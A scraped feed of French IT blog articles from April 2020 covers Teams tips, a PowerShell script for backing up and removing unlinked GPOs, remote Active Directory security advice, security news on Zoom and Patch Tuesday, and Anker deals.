<p><img class="aligncenter size-full wp-image-34910" src="media/8c4ba5d1.teams-filtre-snap-05.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-05.jpg" alt="" width="600" height="565" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-05.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-05-550x518.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-05-150x141.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-05-160x151.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-05-50x47.jpg 50w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p>Lorsque Snap Camera a un filtre actif, vous pouvez<strong> désactiver l'effet très rapidement grâce à un clic droit sur l'icône Snap Camera dans la barre des tâches</strong>. Cliquez sur le bouton "<strong>Turn OFF</strong>", ça pourra être pratique si vous avez une réunion avec le Big Boss qui débute ! 😂</p>
<p><img class="aligncenter size-full wp-image-34911" src="media/ec0b586e.teams-filtre-snap-06.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-06.jpg" alt="" width="600" height="435" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-06.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-06-550x399.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-06-150x109.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-06-160x116.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-filtre-snap-06-50x36.jpg 50w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p><em>Amusez-vous bien....!</em></p>


feed_id: https://www.it-connect.fr/?p=34858
title: Comment restaurer un canal Teams supprimé ?
uri: Comment-restaurer-un-canal-Teams-supprimé
url: https://www.it-connect.fr/comment-restaurer-un-canal-teams-supprime/
content:
<h2>I. Présentation</h2>
<p>Sur le nombre de personnes qui utilisent Teams ces derniers temps, il y a fort à parier pour qu'il y ait des suppressions accidentelles de canaux Teams. Fort heureusement,<strong> il est possible de restaurer un canal Teams supprimé, je vais vous montrer comment procéder dans ce tutoriel.</strong></p>
<h2>II. Restaurer un canal</h2>
<p>L'opération s'effectue directement à partir du client Teams. Pour cet exemple, je vais supprimer le canal "<em>PowerShell Fans</em>" de l'équipe "<em>FB-PowerShell</em>". Donc, partons du principe qu'il est supprimé.. Ce qui est le cas pour cet exemple.</p>
<p><img class="aligncenter size-full wp-image-34868" src="media/7059ea5b.teams-restore-canal-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-01.jpg" alt="" width="600" height="308" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-01.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-01-550x282.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-01-150x77.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-01-160x82.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-01-50x26.jpg 50w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p>Au sein du client Teams toujours, cliquez sur le nom de votre équipe qui contient le canal supprimé <span style="text-decoration: underline;">ou</span> cliquez sur les trois points pour accéder au menu et cliquez sur "<strong>Gérer l'équipe</strong>".</p>
<p>Ensuite, sur la droite, cliquez sur l'onglet "<strong>Canaux</strong>". Les canaux sont répartis en deux catégories :<strong> les canaux actifs et les canaux supprimés. </strong></p>
<p>Si vous cliquez sur "<strong>Supprimés</strong>", <strong>le canal supprimé devrait apparaître ici</strong>, comme dans mon exemple. Au bout de la ligne, il y a un bouton "<strong>Restaurer</strong>" : il suffit de cliquer dessus.</p>
<p><img class="aligncenter size-full wp-image-34867" src="media/b7c748b8.teams-restore-canal-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-02.jpg" alt="" width="800" height="355" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-02.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-02-550x244.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-02-150x67.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-02-768x341.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-02-160x71.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-02-50x22.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Teams demande une confirmation avant de lancer la restauration du canal, cliquez sur "<strong>Restaurer</strong>".</p>
<p><img class="aligncenter size-full wp-image-34866" src="media/6603c54d.teams-restore-canal-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-03.jpg" alt="" width="800" height="214" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-03.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-03-550x147.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-03-150x40.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-03-768x205.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-03-160x43.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-03-50x13.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Le canal va repasser dans les canaux actifs de notre équipe, et bien entendu, il redevient accessible sur la gauche dans la navigation de votre équipe Teams.</p>
<p><img class="aligncenter size-full wp-image-34865" src="media/47fcd1ee.teams-restore-canal-04.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-04.jpg" alt="" width="800" height="400" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-04.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-04-550x275.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-04-150x75.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-04-768x384.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-04-160x80.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/04/teams-restore-canal-04-50x25.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>La restauration d'un canal est relativement simple, il faut juste savoir où retrouver l'option ! 😉</p>
<p>Lorsque j'ai restauré le canal, cela a été immédiat, mais d'après les indications de Microsoft cela peut prendre plusieurs heures dans certains cas. <strong>Il est à noter qu'un canal peut-être restauré jusqu'à 21 jours après sa suppression.</strong></p>
<p>📌 <a title="Comment gérer ses équipes Teams avec PowerShell ?" href="https://www.it-connect.fr/comment-gerer-ses-equipes-teams-avec-powershell/" target="_blank" rel="noopener noreferrer">Teams et PowerShell</a></p>


feed_id: https://www.it-connect.fr/?p=35020
title: Travailler à distance : protéger vos connexions Active Directory
uri: Travailler-à-distance-protéger-vos-connexions-Active-Directory
url: https://www.it-connect.fr/travailler-a-distance-proteger-vos-connexions-active-directory/
content:
<p><strong>La situation sanitaire actuelle a poussé les entreprises à pratiquer le télétravail. C’est une opportunité en or pour les pirates informatiques. A chaque fois qu’un employé se connecte au réseau d’entreprise, cela crée un point d’accès supplémentaire potentiellement exploitable.</strong></p>
<p>Active Directory (AD) est la plateforme d’identité et d’accès la plus utilisée par les organisations du monde entier. Afin d’améliorer la sécurité de votre réseau, vous devez<strong> protéger l’utilisation à distance des identifiants AD.</strong></p>
<h2>Phishing pour les plus vulnérables</h2>
<p>Le coronavirus a apporté avec lui un grand nombre d’<a href="https://www.itespresso.fr/coronavirus-attention-aux-campagnes-de-phishing-214284.html" target="_blank" rel="nofollow noopener noreferrer">e-mails de phishing</a>. Tout comme la maladie elle-même, les hackers visent les plus vulnérables, vos nouveaux employés travaillant de la maison. Les attaquants attirent leurs victimes grâce à des URL ou des téléchargements de documents promettant des informations de sécurité ou des cartes d'infection. Ils profitent de l’incertitude, de la peur et de l’isolement des employés. <strong>L'envie de cliquer n'a jamais été aussi forte!</strong></p>
<p>Le principal objectif des attaquants est de <strong>mettre la main sur les identifiants d’un employé</strong> pour pouvoir ensuite se déplacer latéralement au sein du réseau à la recherche de systèmes, applications et données précieuses qu’ils pourront exploiter.<strong> Le pire c’est que, comme avec le coronavirus, vous ne saurez peut-être même pas que vous avez été infecté.</strong> Selon le <a href="https://www.ibm.com/downloads/cas/ZYKLN2E3" target="_blank" rel="nofollow noopener noreferrer"><em>Ponemon Institute</em></a>, le temps moyen pour découvrir une violation de données est de 191 jours.</p>
<h2>Une surface de menace plus large</h2>
<p>En règle générale, mais surtout pendant une période comme nous vivons actuellement, <strong>une faible protection des connexions Active Directory</strong> peut représenter un risque cyber important pour les organisations. Une grande majorité des organisations n’ont d’autre choix que de se tourner vers le travail à distance, la surface de menace grandit donc rapidement.</p>
<p>De plus, nous avons tous été forcé à migrer vers le télétravail sans aucune préparation préalable, ce qui rend le risque encore plus important. Beaucoup d’entreprises se sont précipitées pour autoriser l'accès au bureau à distance (RDP) de Microsoft.</p>
<p>Ce protocole permet aux utilisateurs distants d'accéder aux ressources de bureau dont ils ont besoin, sans devoir être physiquement au bureau. C’est utile car cela évite les problèmes venant du travail à distance, comme le manque de puissance de calcul informatique ou le manque d’accès aux fichiers/applications nécessaires pour travailler.</p>
<p><strong>Les entreprises ont priorisé la poursuite des opérations, accordant peu d’attention à la cybersécurité.</strong></p>
<h2>Comment protéger les identifiants de connexion AD à distance?</h2>
<p>L'accès au bureau à distance n'est pas complètement sécurisé. Dans la plupart des cas, il n'est protégé que par un mot de passe. Voici <strong>trois recommandations clés pour sécuriser ces connexions AD distantes :</strong></p>
<ul>
<li><strong>Renforcer les mots de passe</strong></li>
<li>Utiliser <strong>un réseau privé virtuel (VPN)</strong> sécurisé pour tous les accès au bureau à distance</li>
<li>Activer <strong><a href="https://www.isdecisions.fr/logiciels/userlock/authentification-multi-facteurs-active-directory.htm" target="_blank" rel="nofollow noopener noreferrer">l'authentification à deux facteurs</a> (2FA)</strong> sur ces connexions de bureau à distance</li>
</ul>
<p>Voici une liste complète de recommandations d'experts qui vous permettront de minimiser pleinement le risque:</p>
<p><strong>1.</strong> <strong>Politique d'équipement des employés à distance</strong>: Quand vous le pouvez, vous devez privilégier l’utilisation des appareils disponibles, sécurisés et contrôlés par votre entreprise. Lorsque ceci n'est pas possible, vous devez alors donner des instructions claires d'utilisation et de sécurité aux utilisateurs.</p>
<p><strong>2.</strong> <strong>Sécurisation de l’accès externe</strong>: Vous devez utiliser un "VPN" (<em>Virtual Private Network</em>) pour sécuriser vos connexions au réseau. Si vous le pouvez, il est bien de limiter cet accès VPN aux machines autorisées par l’entreprise. Les tentatives de connexion provenant d'une autre machine doivent être refusées.</p>
<p><strong>3. Renforcement des mots de passe:</strong> Les mots de passe doivent être assez longs, complexes et uniques. Pour pallier aux vulnérabilités des mots de passe, l'authentification à deux facteurs sur les connexions à distance est un excellent contrôle, en particulier pour les connexions au réseau lui-même.</p>
<p><strong>4. Politique stricte pour les mises à jour de sécurité:</strong> Dès qu'elles sont disponibles, vous devez les déployer sur tous les équipements de votre système d'information. Les hackers exploitent souvent ces vulnérabilités.</p>
<p><strong>5. Sauvegardes des données et activités:</strong> Suite à une attaque, elles constitueront parfois le seul moyen de récupérer ses données. Il faut les effectuer et les tester régulièrement pour s'assurer qu'elles fonctionnent bien.</p>
<p><strong>6. Utilisation de solutions antivirales professionnelles:</strong> Elles servent à protéger les entreprises contre une grande partie des attaques virales connues, mais parfois également contre le phishing ou contre certaines attaques de ransomwares.</p>
<p><strong>7. Journalisation de l'activité et des accès:</strong> Il faut mettre en place une journalisation de tous les accès et les activités de vos équipements d'infrastructure et de vos postes de travail. Cet audit vous permettra de comprendre comment une cyber-attaque a pu se passer, l'étendue de celle-ci et comment y remédier.</p>
<p><strong>8. Supervision de l'activité des accès externes:</strong> Il est important de surveiller les connexions RDP et les accès aux fichiers et dossiers pour  détecter un accès suspect et se protéger contre les cyberattaques. Qu’il s’agisse d’une connexion suspecte d'un utilisateur inconnu, ou d'un utilisateur connu en dehors de ses heures habituelles, cela peut être un signe qu’une attaque est en train de se passer. Si vous le pouvez, vous devriez mettre en place des alertes en temps réel et une réaction immédiate afin d'agir avant que tout dommage ne soit causé.</p>
<p><strong>9. Sensibilisation et soutien réactif pour les employés:</strong> Les télétravailleurs doivent recevoir des instructions précises sur ce qu'ils peuvent et ne peuvent pas faire. Il faut les sensibiliser aux risques liés au télétravail. Les employés peuvent être une barrière pour éviter ou détecter une cyberattaque.</p>
<p><strong>10. Préparation aux cyberattaques:</strong> Toutes les entreprises, peu importe la taille, peuvent être victimes d’une cyber-attaque. Vous pouvez anticiper les mesures à prendre pour vous en protéger en évaluant les scénarios d'attaque possibles.</p>
<p><strong>11. Implication des managers:</strong> Il est essentiel que les managers soient impliqués et engagés dans les mesures de sécurité. Leur attitude doit être exemplaire pour assurer l'adhésion des utilisateurs.</p>
<p><em>Article invité rédigé et proposé par la société IS Decisions</em></p>


feed_id: https://www.it-connect.fr/?p=35025
title: Dell propose un nouvel outil contre les attaques BIOS
uri: Dell-propose-un-nouvel-outil-contre-les-attaques-BIOS
url: https://www.it-connect.fr/dell-propose-un-nouvel-outil-contre-les-attaques-bios/
content:
<p><strong>Un nouvel outil de sécurité vient compléter l'offre de Dell, il s'agit de Dell SafeBIOS Events &amp; Indicators of Attack et il a pour objectif de vous alerter sur les attaques BIOS de vos machines. Il intervient en complément de la solution Endpoint installée sur votre parc informatique.</strong></p>
<p>En fait, le logiciel va détecter les changements dans la configuration du BIOS d'un ordinateur et vous alerter lorsqu'un changement est réalisé. Cette alerte va remonter dans la console centralisée Dell de votre entreprise.</p>
<p><strong>Pour tous les clients entreprises de Dell, cet outil est disponible gratuitement.</strong> C'est déjà le cas pour ceux qui bénéficient de la solution <em>Dell Trusted Device</em> puisque l'outil peut être téléchargé dès à présent.</p>
<p>Avec la quantité de personnes qui continuent leur activité en télétravail depuis le début de la pandémie, ce type d'outil est apprécié pour améliorer la sécurité et la surveillance à distance des appareils. Récemment, Dell a d'ailleurs offert à ses clients plusieurs solutions de sécurité pour les aider dans cette période difficile. Par exemple, Dell a fournit gratuitement des licences pour le chiffrement des ordinateurs, avec une validité au 15 mai 2020.</p>
<p><a href="https://www.zdnet.com/article/dell-releases-new-tool-to-detect-bios-attacks/" target="_blank" rel="nofollow noopener noreferrer">Source</a></p>


feed_id: https://www.it-connect.fr/?p=35031
title: Bons plans Anker : Soundcore Liberty 2 Pro, eufyCam 2C et Nebula Mars II Pro
uri: Bons-plans-Anker-Soundcore-Liberty-2-Pro-eufyCam-2C-et-Nebula-Mars
url:
https://www.it-connect.fr/bons-plans-anker-soundcore-liberty-2-pro-eufycam-2c-et-nebula-mars-ii-pro/

content:
<p><strong>Un rapide article pour partager avec vous les deals d'Anker sur Amazon. Trois de ses produits les plus populaires sont disponibles à prix réduits. Voici les offres en cours :</strong></p>
<h2>Soundcore Liberty 2 Pro</h2>
<p>Anker propose plusieurs modèles d'écouteurs <em>true-wireless</em>, avec notamment le modèle <a href="https://www.it-connect.fr/anker-soundcore-liberty-air-2-une-bonne-alternative-aux-airpods-pro/" target="_blank" rel="noopener noreferrer">Liberty Air 2</a> que j'ai pu tester récemment, mais aussi le modèle Liberty 2 Pro qui est concerné par cette offre. Ce modèle a un format plus compact, une qualité audio supérieure et une meilleure autonomie.</p>
<p>- Prix normal : 149.99 €<br />
- Prix en promo : 99.99 €<br />
- Validité : 25/04/2020<br />
- Code à appliquer : <strong>47QSCAPW</strong></p>
<p>📌 Voir l'offre : <a href="https://amzn.to/3ey6SjM" target="_blank" rel="nofollow noopener noreferrer"> https://amzn.to/3ey6SjM</a></p>
<h2>eufyCam 2C</h2>
<p>Je travaille actuellement sur un test de ce kit qui est proposé en promotion, et il s'avère que c'est une excellente solution. L'ensemble est de très bonne qualité, s'installe facilement et l'application Eufy Security est complète et intuitive. La base incluse à ce kit peut gérer jusqu'à 16 caméras. Pour les plus curieux, vous pouvez commencer à découvrir ce kit sur <a href="https://www.instagram.com/it_connect.fr/?hl=fr" target="_blank" rel="noopener noreferrer">notre compte Instagram</a>.</p>
<p>- Prix normal : 249.99 €<br />
- Prix en promo : 199.99 €<br />
- Validité : 19/04/2020<br />
- Code à appliquer : <strong>SMHIRDX2</strong></p>
<p>📌 Voir l'offre : <a href="https://amzn.to/2K8KOhG" target="_blank" rel="nofollow noopener noreferrer">https://amzn.to/2K8KOhG</a></p>
<h2>Nebula Mars II Pro</h2>
<p>Ce vidéoprojecteur portable se décline en deux versions : l'une avec une lampe 300 lumens ANSI et l'autre avec 500 lumens ANSI. Ici, il s'agit de la version avec 500 lumens ANSI qui est concernée par cette promotion. Cet appareil est autonome car il fonctionne sur batterie et embarque un système basé sur Android, avec la possibilité d'installer des applications. Nativement, des applications sont intégrées : Netflix ou encore YouTube.</p>
<p>- Prix normal : 659.99 €<br />
- Prix en promo : 509.99 €<br />
- Validité : 02/05/2020<br />
- Code à appliquer : <strong>IWY69USO</strong></p>
<p>📌 Voir l'offre : <a href="https://amzn.to/2RDWEEE" target="_blank" rel="nofollow noopener noreferrer">https://amzn.to/2RDWEEE</a></p>


feed_id: https://www.it-connect.fr/?p=35029
title: Zoom : plus de 500 000 comptes en vente sur le Dark Web
uri: Zoom-plus-de-500-000-comptes-en-vente-sur-le-Dark-Web
url: https://www.it-connect.fr/zoom-plus-de-500-000-comptes-en-vente-sur-le-dark-web/
content:
<p><strong>Beaucoup d'entreprises se tournent vers Zoom depuis le début du confinement et nous parlons très souvent de cet outil ces dernières semaines. Parfois en bien, parfois en mal. Cette fois-ci, c'est plutôt une mauvaise nouvelle : plus de 500 000 comptes Zoom sont en vente sur le Dark Web.</strong></p>
<p>L'éditeur Cyble est à l'origine de cette trouvaille et les comptes seraient à vendre à partir de<strong> 0,0020 centimes par compte, </strong>ce qui est très peu... Dans certains cas, le compte serait même offert gratuitement... Cyble a acquis 530 000 comptes et a obtenu à chaque fois, plusieurs informations :</p>
<p>- L'adresse e-mail du compte<br />
- Le mot de passe<br />
- La clé d'hébergement Zoom<br />
- L'URL de la réunion personnelle</p>
<p>Concernant les comptes ciblés, il s'agit d'adresses universitaires mais également des comptes d'entreprises (JPMorgan Chase Bank ou Citigroup).</p>
<p>Il n'y a pas eu de vol de données directement, mais il s'agit plutôt d'une attaque de type "<em>credential stuffing</em>" : ces comptes sont issus de piratages réalisés précédemment, et qui ne sont pas forcément liés à Zoom. Certains utilisateurs utilisent la même adresse e-mail et le même mot de passe sur plusieurs services, ce qui rend possible ce type d'attaque lorsqu'il y a des fuites de données.</p>


feed_id: https://www.it-connect.fr/?p=35035
title: Patch Tuesday – Avril 2020 : 113 failles de sécurité corrigées
uri: Patch-Tuesday-Avril-2020-113-failles-de-sécurité-corrigées
url: https://www.it-connect.fr/patch-tuesday-avril-2020-113-failles-de-securite-corrigees/
content:
<p><strong>Microsoft a publié son Patch Tuesday pour ce mois d'avril 2020, l'occasion de corriger 113 failles de sécurité, avec un niveau de criticité plus ou moins important puisqu'il y en a 17 classées critiques.</strong></p>
<p>Quatre vulnérabilités sont déjà connues publiquement dont deux qui seraient déjà exploitée par des pirates, d'après <a href="https://thehackernews.com/2020/04/windows-patch-update.html" target="_blank" rel="nofollow noopener noreferrer">The Hacker News</a>. Elles correspondent aux CVE suivantes : <strong>CVE-2020-1020 et CVE-2020-0938</strong>. Il est donc important d'installer ce patch rapidement, pour corriger <a href="https://www.it-connect.fr/failles-0-day-exploitees-dans-windows-10-et-windows-server/" target="_blank" rel="noopener noreferrer">ces vulnérabilités au sein de la librairie "Adobe Type Manager" dont je vous parlais en mars</a>. Toutes les éditions de Windows et Windows Server sont concernées à partir de Windows 7 et Windows Server 2008.</p>
<p>📌 <a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1020" target="_blank" rel="noopener noreferrer">CVE-2020-1020</a></p>
<p>📌 <a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0938" target="_blank" rel="noopener noreferrer">CVE-2020-0938</a></p>
<p>Par ailleurs, derrière la<strong> CVE-2020-0935 se cache une vulnérabilité critique relevée au sein du client OneDrive de Windows</strong>. Si elle parvient à être exploitée, elle offre une élévation de privilèges sur la machine locale.</p>
<p>📌 <a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0935" target="_blank" rel="noopener noreferrer">CVE-2020-0935</a></p>
<p><strong>Quant à Hyper-V, il est directement ciblé par la CVE-2020-0910 qui fait référence à une vulnérabilité critique</strong>. Si elle est exploitée au sein d'une VM, elle permet à l'attaquant de prendre le contrôle de l'hôte physique ou d'une autre VM située sur le même hôte.</p>
<p>📌 <a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0910" target="_blank" rel="noopener noreferrer">CVE-2020-0910</a></p>
<p>Enfin, 5 vulnérabilités critiques touchent directement Microsoft Office SharePoint. D'autres produits et composants sont concernés par ce Patch Tuesday : Microsoft Edge dans sa version basée sur EdgeHTML mais aussi la version basée sur Chromium, ChakraCore, Internet Explorer, Windows Defender, Visual Studion, Microsoft Dynamics, ainsi que les applications Microsoft disponibles sur Android et Mac.</p>
<p>📌 <a href="https://portal.msrc.microsoft.com/en-us/security-guidance/releasenotedetail/2020-Apr" target="_blank" rel="noopener noreferrer">Note officielle Microsoft</a></p>


feed_id: https://www.it-connect.fr/?p=34777
title: Identifier et supprimer les GPO sans liaison avec PowerShell
uri: Identifier-et-supprimer-les-GPO-sans-liaison-avec-PowerShell
url: https://www.it-connect.fr/identifier-et-supprimer-les-gpo-sans-liaison-avec-powershell/
content:
<h2>I. Présentation</h2>
<p>Lorsque l'on administre, audit, ou reprend la gestion d'une infrastructure basée sur un environnement Microsoft et plus particulièrement un Active Directory, on se retrouve forcément confronté à la gestion des GPO. En fonction du nombre qu'il y en a, cela peut représenter un joli sac de noeuds, il est donc intéressant d'être en mesure d'identifier les GPO "<em>Unlinked</em>" c'est-à-dire les GPO sans liaison.</p>
<p>Une GPO sans liaison n'ayant pas d'utilité puisqu'elle ne s'appliquera sur aucun utilisateur, aucun ordinateur. Un bon moyen de commencer à faire du tri dans l'infrastructure en question.</p>
<p>Il existe des ressources sur Internet à ce sujet, pour ma part, je suis parti d'un script existant que l'on retrouve sur la galerie Microsoft et qui se nomme "<em>Get-UnlinkedGPO</em>". Ce script va lister les GPO sans liaison grâce à la propriété "<em>GPO.LinksTo</em>" du cmdlet <em>Get-GPOReport</em> qui sert à obtenir les liaisons d'une GPO. Le nombre total de GPO unlinked va s'afficher également.</p>
<p><strong>Vous pouvez le récupérer en cliquant sur le lien ci-dessous, il suffit de l'exécuter ensuite pour identifier les stratégies de groupe sans liaison 😉</strong></p>
<p>📌 <a href="https://gallery.technet.microsoft.com/scriptcenter/Get-Unlinked-Group-Policy-4dda4aa3" target="_blank" rel="noopener noreferrer">Get-UnlinkedGPO</a></p>
<h2>II. Supprimer les GPO sans liaison</h2>
<p>Pour la suite, je vous propose de reprendre le script téléchargé précédemment, que l'on va faire évoluer pour apporter deux actions supplémentaires :</p>
<ul>
<li>La sauvegarde de chaque GPO sans liaison</li>
<li>La suppression de chaque GPO sans liaison</li>
</ul>
<p>Commençons par stocker dans une variable $DC le nom du contrôleur de domaine ciblé pour l'exécution des différentes commandes.</p>
<pre>$DC = "SRV-DC.it-connect.local"</pre>
<p>Ensuite, je vous propose le bout de code ci-dessous pour traiter chaque GPO sans liaison identifiée par la première phase du traitement (correspondante au script que l'on a récupéré sur le site Microsoft). Le nom des différentes GPO unlinked étant stockés dans la variable $<em>unlinkedGPOs</em>.</p>
<p>💡<em> Note : ce bout de code est à ajouter à la suite du script téléchargé précédemment.</em></p>
<p>Pour chaque GPO, nous allons réaliser <strong>une sauvegarde grâce à la commande Backup-GPO</strong> (dans le dossier "C:\GPO_Backup") et si la sauvegarde s'effectue correctement, nous procédons à sa<strong> suppression via la commande Remove-GPO</strong>. Un retour dans la console est effectué à chaque fois.</p>
<pre><strong><span style="color: #00ffff;">Foreach</span></strong>($GPO in $unlinkedGPOs){

  <strong><span style="color: #00ffff;">Write-Host</span></strong> "Traitement de la GPO : $($GPO.DisplayName) ($($GPO.Id))"

  $Error.Clear()

  <span style="color: #00ffff;"><strong>Backup-GPO</strong></span> -Guid $GPO.Id -Path "C:\GPO_Backup" -Server $DC -ErrorVariable BackupGPOState

  if($error.Count -ieq 0){

    <strong><span style="color: #00ffff;">Write-Host</span></strong> "Suppression de la GPO : $($GPO.DisplayName) ($($GPO.Id))" -ForegroundColor Green
    <strong><span style="color: #00ffff;">Remove-GPO</span></strong> -Guid $GPO.Id -Server $DC

  }else{

    <strong><span style="color: #00ffff;">Write-Host</span></strong> "Echec lors de la suppression de la GPO : $($GPO.DisplayName) ($($GPO.Id))" -ForegroundColor Red

  }
}</pre>
<p>Pour chaque GPO traitée, une sortie de ce type sera affichée dans la console :</p>
<pre><strong>Traitement de la GPO : Ma_GPO_01 (ff26da7e-5544-45b0-bf45-6689f9d81670)</strong>
DisplayName : Ma_GPO_01
GpoId : ff26da7e-5544-45b0-bf45-6689f9d81670
Id : 3592da82-89a4-4000-ae28-6087963b0954
BackupDirectory : C:\GPO_Backup
CreationTime : 11/03/2020 21:38:43
DomainName : it-connect.local
Comment :

<strong>Suppression de la GPO : Ma_GPO_01 (ff26da7e-5544-45b0-bf45-6689f9d81670)</strong></pre>
<p>Voilà, avec ces quelques lignes de code, vous allez pouvoir réaliser <strong>un premier niveau de nettoyage au sein de vos GPO</strong>, sans perdre la possibilité de les récupérer si besoin puisque nous prenons le soin de les sauvegarder.</p>


feed_id: https://www.it-connect.fr/?p=35038
title: Microsoft reporte la fin du support de certains produits
uri: Microsoft-reporte-la-fin-du-support-de-certains-produits
url: https://www.it-connect.fr/microsoft-reporte-la-fin-du-support-de-certains-produits/
content:
<p><strong>Après avoir réalisé quelques <a href="https://www.it-connect.fr/microsoft-retarde-la-suppression-de-ses-certifications-mcsd-mcse-mcsa/" target="_blank" rel="noopener noreferrer">ajustements au niveau de ses certifications</a>, Microsoft a annoncé hier le report de plusieurs dates pour la fin de support de certains produits. Cette décision a pour objectif d'offrir un peu de répit aux entreprises pendant la crise sanitaire du Covid-19.</strong></p>
<p>Les administrateurs systèmes vont pouvoir souffler un peu car Microsoft a ajouté six mois de support en plus sur ses produits qui arrivaient en fin de support en avril ou mai 2020. Cela concerne différents produits, dont : Windows 10, Windows Server, System Center Configuration Manager ainsi que SharePoint Server.</p>
<p>Voici un résumé de ces informations, avec les dates initiales et les nouvelles dates.</p>
<p><strong>- Windows 10, version 1709</strong> (Enterprise, Education, Home, IoT) : du 14 avril 2020 au 13 Octobre 2020</p>
<p><strong>- Windows 10, version 1809</strong> (Home, Pro, Pro Education, Pro for Workstations, IoT Core) : du 12 mai 2020 au 10 novembre 2020</p>
<p><strong>- Windows Server 2016, version 1809</strong> (Datacenter, Standard) : du 12 mai 2020 au 10 novembre 2020</p>
<p><strong>- System Center Configuration Manager, version 1810</strong> : du 27 mai 2020 au 1er décembre 2020</p>
<p><strong>- SharePoint Server 2010, SharePoint Foundation 2010, et Project Server 2010</strong> : du 13 octobre 2020 au 13 avril 2021</p>
<p>- <strong>Dynamics 365 Cloud services</strong> : de septembre 2020 à Décembre 2020.</p>
<p>- <strong>Basic Authentication pour Exchange Online</strong> : du 13 octobre 2020 au second semestre 2021 (pas de date précise)</p>
<p>Microsoft en profite pour préciser que ces changements ne vont pas affecter les dates de fin de support des versions et produits qui ne sont pas mentionnés. Par la suite, en fonction de la durée de la crise, Microsoft mettra à jour ce document pour accorder un éventuel délai supplémentaire ou ajouter d'autres produits.</p>
<p>Ces informations sont disponibles sur la page suivante : <a href="https://support.microsoft.com/en-us/help/4557164/lifecycle-changes-to-end-of-support-and-servicing-dates" target="_blank" rel="noopener noreferrer">Microsoft Lifecycle</a></p>


feed_id: https://www.it-connect.fr/?p=35062
title: Teams : comment définir un fond personnalisé pour la vidéo ?
uri: Teams-comment-définir-un-fond-personnalisé-pour-la-vidéo
url: https://www.it-connect.fr/teams-comment-definir-un-fond-personnalise-pour-la-video/
content:
<h2>I. Présentation</h2>
<p>Au sein de Teams, Microsoft offre depuis un certain temps déjà la possibilité d'avoir un arrière-plan flouté pour l'image de votre caméra. Ainsi, les participants ne distinguent pas clairement l'environnement dans lequel vous êtes, car seule votre silhouette reste clairement visible.</p>
<p><strong>Microsoft a fait évoluer cette fonctionnalité en ajoutant la possibilité d'utiliser une image d'arrière-plan, en intégrant à Teams une vingtaine d'images</strong>. Ainsi, à la manière d'un fond vert, l'arrière-plan de l'image est remplacé par l'image choisie. Il est également <strong>possible d'utiliser une image personnalisée, c'est ce que nous allons voir ensemble.</strong></p>
<p>Pour profiter de cette fonctionnalité, vous devez avoir le <strong>client Teams en version 1.3.00.8663 ou supérieur.</strong></p>
<p><strong>Note</strong> : cette nouveauté correspond à l'item n°62890 de la Roadmap d'Office 365.</p>
